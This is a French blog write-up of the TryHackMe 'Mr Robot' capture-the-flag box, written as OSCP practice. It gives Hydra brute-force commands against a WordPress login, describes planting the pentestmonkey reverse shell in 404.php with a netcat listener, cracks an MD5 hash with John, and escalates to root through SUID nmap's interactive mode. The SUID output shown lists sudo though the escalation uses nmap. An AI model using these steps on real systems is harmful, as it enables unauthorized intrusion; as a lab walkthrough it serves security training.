Mr Robot – TryHacKme WriteUp OSCP Like

Mr Robot – TryHacKme WriteUp OSCP Like

Based on the Mr. Robot show, can you root this box?

 

Mr Robot  de TryHackMe est une box parfait pour une préparation à l’OSCP. Il faudra utiliser Hydra afin de pouvoir se connecter à WordPress. C’est une box qui commence à datée un peu. Elle reste toutefois très intéressante dans la méthode utilisée pour acquérir les identifiants de connexion à WP.

Enumération

Commande :

nmap -T5 -sC -sV -p- 10.10.167.178

Ports ouverts :

80 HTTP

443 HTTPS

Il n’y a que deux ports ouverts, et uniquement des ports liées à un ou deux sites web. 

Enumération web

Commande :

dirb http://10.10.167.178

Résultats importants :

/robots.txt  

/login → c‘est un accès à un site WordPress.

Le fichier robot nous donne deux fichiers fsocity.dic et key-1-of-3.txt

Récupération du fichier fsocity.dic :

Pour récupérer le fichier fsocity.dic, il faut aller sur l’URL http://10.10.167.178/fsocity.dic

Le fichier contient 858160 lignes, il faut voir si on peut réduire leurs nombres en supprimant tous les fichiers qui ne sont pas uniques.

Commande :

cat fsocity.dic | sort | uniq > fsocietyuniq

 

Burte Force login WordPress

À noter que cette version de WP est vulnérable au fait qu’il donne invalid username lors d’une tentative d’accès erronée.

En effet, si on tente de se connecter avec un nom d’utilisateur au hasard, WP répondra par « invalid username » 

essai avec test:test

Hydra

Hydra va nous donner la possibilité de brute forcer le login et le mot de passe. Auparavant, il faut connaitre la méthode utilisé pour la connexion. BurpSuite va nous permet de le faire. 

Interception de la requête de login :

Les informations POST /wp-login.php et log=test&pwd=test&wp-submit=Log+In dans la requête nous donne les informations que l’on devra donner à Hydra. Il en manque une dernière, c’est la réponse en cas d’erreur de login.

Pour cela, il faut envoyer cette requête dans le repeater de BurpSuite et faire send. Sur le résultat que l’on reçoit, l’information d’erreur est représenter par ce message : Invalid username

Avec toutes ses informations, on va configurer Hydra pour brute forcer le nom d’utilisateur.

hydra -L f_uniq.dic -p fake 10.10.167.178 http-post-form ‘/wp-login.php:log=^USER^&pwd=^PASS^& wp-submit=Log+In:F=Invalid username’

Burte Force password WordPress

Concernant le mot de passe, on va utilise le même principe que précédemment, mais en mettant le bon login et un mot de passe erronée et on va récupérer la requête pour prendre les informations qu’il nous faut. 

Hydra Again

Il reste plus qu’à relancer Hydra avec une commande différente. 

Commande :

hydra -l elliot -P fsocietyuniq 10.10.167.178 http-post-form ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect’

Initial FootHold

Avec les identifiants obtenus, on peut se connecter à l’interface de gestion de WordPress. Il existe un moyen très simple d’obtenir un accès au serveur. Il s’agit de modifier le contenu d’une page existante, par exemple  404.php.

Dans la barre de menu sur la gauche, il faut cliquer sur Appearance, puis sur Editor et sélectionner sur la droite 404.php

Il faut supprimer tout ce qui se trouve à l’intérieur et le remplacer par le reverse_shell de pentestmonkey

La seule modification à faire et de changer l’adresse IP par votre IP et mettre le port que vous voulez. ( Qu’il faudra utiliser avec Netcat)

N’oubliez pas de valider la modification par Update file…

Mise en place d’un écouteur Netcat :

nc -nlvp 1234 

Exécution du shell :

http://10.10.167.178/404.php

Une fois le reverse shell en place, il faut l’upgrader.

On se retrouve avec un utilisateur daemon. Il n’est pas possible de faire sudo -l sans son mot de passe.

Avant de se lancer dans une énumération approfondi avec des outils comme linpeas, on peut trouver dans le dossier /home de robot deux fichiers dont un qui ressemble à un mot de passe. 

John

Le format du mot de passe en est MD5. Avec John, on va le casser.

Commande :

john password.raw-md5 –format=Raw-MD5 –wordlists=/usr/share/wordlists/rockyou.txt

 

Connexion sur le compte robot

Commande :

su robot 

password :

Le fichier key-2-of-3.txt est maintenant lisible. Pas de possibilité de faire sudo -l.

 

Enumération locale

On recherche s’il existe des SUID mal configurer ou exploitable. 

Commande :

find / -type f -user root -perm -4000 -exec ls -ldb {} \; 2>>/dev/null

Dans la liste des résultats on trouve ceci : 

-rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo

Il existe une vulnérabilité très simple à exploiter pour passer root. 

Commande :

nmap –interactive

!whoami

!sh

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest
5 1 voter
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
Inline Feedbacks
View all comments